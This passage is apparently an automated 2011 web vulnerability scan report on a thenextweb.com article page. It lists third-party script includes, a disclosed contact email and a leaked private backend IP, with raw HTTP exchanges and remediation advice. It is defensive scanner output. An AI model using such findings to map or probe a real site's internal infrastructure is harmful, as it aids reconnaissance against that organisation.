Link: <http://thenextweb.com/industry/?p=4378>; rel=shortlink
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 81839
Date: Tue, 19 Apr 2011 19:51:11 GMT
Age: 336
Connection: close
X-Cache: HIT

<!DOCTYPE html>
<html dir="ltr" lang="en-US" xmlns:fb="http://www.facebook.com/2008/fbml">
<head>
<meta charset="UTF-8" />
<title> Beyond analytics, VigLink automates affiliate links to pay p
...[SNIP]...
<!-- Badgeville -->
<script src="http://api.badgeville.com/v2/badgeville.js?key=dGhlbmV4dHdlYkBiYWRnZXZpbGxlLmNvbQ=="></script>
...[SNIP]...
<div id="fmpub_2621" class="banner-wrapper">
<script type="text/javascript" async="true" src="http://static.fmpub.net/zone/2621" charset="utf-8"></script>
...[SNIP]...
</a>
<script src="http://static.ak.fbcdn.net/connect.php/js/FB.Share" type="text/javascript"></script>
...[SNIP]...
<td rowspan="2"><script src="http://www.stumbleupon.com/hostedbadge.php?s=5&r=http%3A%2F%2Fthenextweb.com%2Findustry%2F2011%2F03%2F31%2Fbeyond-analytics-viglink-automates-affiliate-links-to-pay-publishers%2F"></script>
...[SNIP]...
</script>
<script type='text/javascript' src='http://kona.kontera.com/javascript/lib/KonaLibInline.js'></script>
...[SNIP]...
</h3>


<script type="text/javascript" src="http://static.fmpub.net/zone/2620"></script>
...[SNIP]...
</script>
<script type='text/javascript'
src='http://pagead2.googlesyndication.com/pagead/show_ads.js'>

</script>
...[SNIP]...
</script>
<script type='text/javascript'
src='http://pagead2.googlesyndication.com/pagead/show_ads.js'>

</script>
...[SNIP]...
</div><script src="http://connect.facebook.net/en_US/all.js"></script>
...[SNIP]...
</script>
<script src="http://static.getclicky.com/js" type="text/javascript"></script>
...[SNIP]...
<!-- FM Tracking Pixel -->
<script type="text/javascript" src="http://static.fmpub.net/site/thenextweb"></script>
...[SNIP]...
<!-- Skimlinks code -->
<script type="text/javascript" src="http://s.skimresources.com/js/7230X662326.skimlinks.js"></script>
...[SNIP]...

5. Email addresses disclosed  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://thenextweb.com
Path:   /industry/2011/03/31/beyond-analytics-viglink-automates-affiliate-links-to-pay-publishers/

Issue detail

The following email address was disclosed in the response:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

Request

GET /industry/2011/03/31/beyond-analytics-viglink-automates-affiliate-links-to-pay-publishers/ HTTP/1.1
Host: thenextweb.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
x-backend: 172.20.0.144
Set-Cookie: PHPSESSID=587brj7p9ddu2d89pcmgpf4o76; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: ocmx_mobile=deleted; expires=Mon, 19-Apr-2010 19:42:13 GMT; path=/
Set-Cookie: ocmx_mobile=normal; path=/
X-Pingback: http://thenextweb.com/industry/xmlrpc.php
Set-Cookie: bp-message=deleted; expires=Mon, 19-Apr-2010 19:42:13 GMT; path=/
Set-Cookie: bp-message-type=deleted; expires=Mon, 19-Apr-2010 19:42:13 GMT; path=/
Link: <http://thenextweb.com/industry/?p=4378>; rel=shortlink
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 81839
Date: Tue, 19 Apr 2011 19:51:11 GMT
Age: 336
Connection: close
X-Cache: HIT

<!DOCTYPE html>
<html dir="ltr" lang="en-US" xmlns:fb="http://www.facebook.com/2008/fbml">
<head>
<meta charset="UTF-8" />
<title> Beyond analytics, VigLink automates affiliate links to pay p
...[SNIP]...
<a href="mailto:tips@thenextweb.com">tips@thenextweb.com</a>
...[SNIP]...

6. Private IP addresses disclosed  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://thenextweb.com
Path:   /industry/2011/03/31/beyond-analytics-viglink-automates-affiliate-links-to-pay-publishers/

Issue detail

The following RFC 1918 IP address was disclosed in the response:

Issue background

RFC 1918 specifies ranges of IP addresses that are reserved for use in private networks and cannot be routed on the public Internet. Although various methods exist by which an attacker can determine the public IP addresses in use by an organisation, the private addresses used internally cannot usually be determined in the same ways.

Discovering the private addresses used within an organisation can help an attacker in carrying out network-layer attacks aiming to penetrate the organisation's internal infrastructure.

Issue remediation

There is not usually any good reason to disclose the internal IP addresses used within an organisation's infrastructure. If these are being returned in service banners or debug messages, then the relevant services should be configured to mask the private addresses. If they are being used to track back-end servers for load balancing purposes, then the addresses should be rewritten with innocuous identifiers from which an attacker cannot infer any useful information about the infrastructure.

Request

GET /industry/2011/03/31/beyond-analytics-viglink-automates-affiliate-links-to-pay-publishers/ HTTP/1.1
Host: thenextweb.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
x-backend: 172.20.0.144
Set-Cookie: PHPSESSID=587brj7p9ddu2d89pcmgpf4o76; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: ocmx_mobile=deleted; expires=Mon, 19-Apr-2010 19:42:13 GMT; path=/
Set-Cookie: ocmx_mobile=normal; path=/
X-Pingback: http://thenextweb.com/industry/xmlrpc.php
Set-Cookie: bp-message=deleted; expires=Mon, 19-Apr-2010 19:42:13 GMT; path=/
Set-Cookie: bp-message-type=deleted; expires=Mon, 19-Apr-2010 19:42:13 GMT; path=/
Link: <http://thenextweb.com/industry/?p=4378>; rel=shortlink
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 81839
Date: Tue, 19 Apr 2011 19:51:11 GMT
Age: 336
Connection: close
X-Cache: HIT

<!DOCTYPE html>
<html dir="ltr" lang="en-US" xmlns:fb="http://www.facebook.com/2008/fbml">
<head>
<meta charset="UTF-8" />
<title> Beyond analytics, VigLink automates affiliate links to pay p
...[SNIP]...

Report generated by XSS.CX at Tue Apr 19 15:24:02 CDT 2011.